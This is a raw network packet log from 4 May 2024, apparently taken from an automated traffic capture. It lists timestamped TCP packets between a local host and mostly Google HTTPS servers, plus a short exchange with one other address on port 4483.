May 4, 2024 07:21:53.549478054 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.549644947 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.550004959 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.550023079 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.592823982 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.592843056 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.592946053 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.595520973 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.595534086 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.848232985 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.848807096 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.848824978 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.849008083 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.849258900 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.849278927 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.849873066 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.850044012 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.850145102 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.850286961 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.851032019 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.851102114 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.851304054 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.851516008 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.851572037 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.851605892 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.879089117 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.879286051 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.879298925 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.880377054 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.880660057 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.880912066 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.880912066 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.880971909 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.895402908 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.895410061 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.895412922 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.895422935 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.923826933 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.923834085 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.926219940 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.926476002 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.926486015 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.927505970 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.927587032 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.927944899 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.927944899 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.928005934 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:53.939860106 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.939873934 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.970527887 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.970527887 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:53.970535994 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.017644882 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.086947918 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.087033033 CEST	443	49735	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.087099075 CEST	49735	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.196238995 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.196293116 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.196352005 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.196381092 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.196403027 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.196856022 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.201489925 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.201639891 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.203310966 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.203485966 CEST	49736	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.203502893 CEST	443	49736	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.241085052 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.241197109 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.241270065 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.241305113 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.241337061 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.241359949 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.241373062 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.243510008 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.252072096 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.260847092 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.260881901 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.260902882 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.260912895 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.260951996 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.268544912 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.276216030 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.276350021 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.276396990 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.279743910 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.279783010 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.279791117 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.329448938 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.400089979 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.405612946 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.405648947 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.405663967 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.405673027 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.405709982 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.416963100 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.427939892 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.427970886 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.427983999 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.427994967 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.428033113 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.439060926 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.450268984 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.450298071 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.450311899 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.450323105 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.450357914 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.460402012 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.470649004 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.470676899 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.470699072 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.470706940 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.470745087 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.481822968 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.490956068 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.490982056 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.491003036 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.491010904 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.491050959 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.501147032 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.511367083 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.511432886 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.511440039 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.526704073 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.526738882 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.526757956 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.526766062 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.526803017 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.561778069 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.566745043 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.566778898 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.566967964 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.566976070 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.567028999 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.576014042 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.582720041 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.582751036 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.582860947 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.582873106 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.582915068 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.591048956 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.599349976 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.599384069 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.599396944 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.599406958 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.599448919 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.607160091 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.614964008 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.614996910 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.615104914 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.615115881 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.615160942 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.622761011 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.630573988 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.630604982 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.630621910 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.630629063 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.630669117 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.638360977 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.646120071 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.646173000 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.646181107 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.650172949 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.650310993 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.650316954 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.657910109 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.657958031 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.657977104 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.665631056 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.665673018 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.665680885 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.673070908 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.673119068 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.673125982 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.680447102 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.680495977 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.680502892 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.687562943 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.687599897 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.687611103 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.694322109 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.694369078 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.694375992 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.701184988 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.701252937 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.701260090 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.702419996 CEST	49675	443	192.168.2.4	173.222.162.32
May 4, 2024 07:21:54.707516909 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.707585096 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.707593918 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.713934898 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.713988066 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.713994980 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.720300913 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.720355988 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.720364094 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.726684093 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.726749897 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.726757050 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.736258030 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.736291885 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.736315012 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.736331940 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.736479998 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.742646933 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.746633053 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.746665955 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.746680021 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.746695042 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.746741056 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.750610113 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.754566908 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.754596949 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.754606009 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.754612923 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.754657030 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.758579016 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.762422085 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.762458086 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.762470007 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.762479067 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.762511015 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.766158104 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.770019054 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.770051956 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.770061016 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.770068884 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.770107985 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.773792028 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.777648926 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.777678013 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.777688980 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.777697086 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.777734041 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:54.781394958 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.781543970 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:54.781586885 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:55.346267939 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:55.473542929 CEST	49738	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:55.473555088 CEST	443	49738	142.250.68.4	192.168.2.4
May 4, 2024 07:21:55.479403973 CEST	49737	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:55.479423046 CEST	443	49737	142.250.68.4	192.168.2.4
May 4, 2024 07:21:55.809979916 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:56.122546911 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.122885942 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:56.471461058 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475831985 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475861073 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475872993 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475883961 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475895882 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475907087 CEST	4483	49731	185.223.28.15	192.168.2.4
May 4, 2024 07:21:56.475905895 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:56.475965977 CEST	49731	4483	192.168.2.4	185.223.28.15
May 4, 2024 07:21:57.481827974 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.481848001 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.481950045 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.482145071 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.482157946 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.612679958 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:57.612696886 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:21:57.612761021 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:57.613048077 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:57.613065004 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:21:57.813783884 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.814543962 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.814553022 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.817224026 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.817312956 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.821751118 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.821808100 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.821890116 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.821896076 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:57.922897100 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:57.941911936 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:21:57.945311069 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:57.945317030 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:21:57.945617914 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:21:57.946161985 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:57.946223974 CEST	443	49748	142.250.68.4	192.168.2.4
May 4, 2024 07:21:58.126359940 CEST	49748	443	192.168.2.4	142.250.68.4
May 4, 2024 07:21:58.134531975 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.134578943 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.134604931 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.134645939 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.134654999 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.134680986 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.134702921 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.134708881 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.137545109 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.145570040 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.156728983 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.156754017 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.156817913 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.156826019 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.158536911 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.167846918 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.178988934 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.179536104 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.179548025 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.293672085 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.293740034 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.293747902 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.299228907 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.299274921 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.299279928 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.310338974 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.310384035 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.310389996 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.321470976 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.321527004 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.321532965 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.332674980 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.332726955 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.332732916 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.343746901 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.343801975 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.343807936 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.354967117 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.355011940 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.355017900 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.365326881 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.365371943 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.365377903 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.376570940 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.376611948 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.376617908 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.387363911 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.387418032 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.387424946 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.397627115 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.397672892 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.397682905 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.408180952 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.408226013 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.408232927 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.418653011 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.418699980 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.418705940 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.428972006 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.429013968 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.429018974 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.455698967 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.455766916 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.455777884 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.460490942 CEST	443	49747	142.250.72.238	192.168.2.4
May 4, 2024 07:21:58.460536957 CEST	49747	443	192.168.2.4	142.250.72.238
May 4, 2024 07:21:58.460544109 CEST	443	49747	142.250.72.238	192.168.2.4
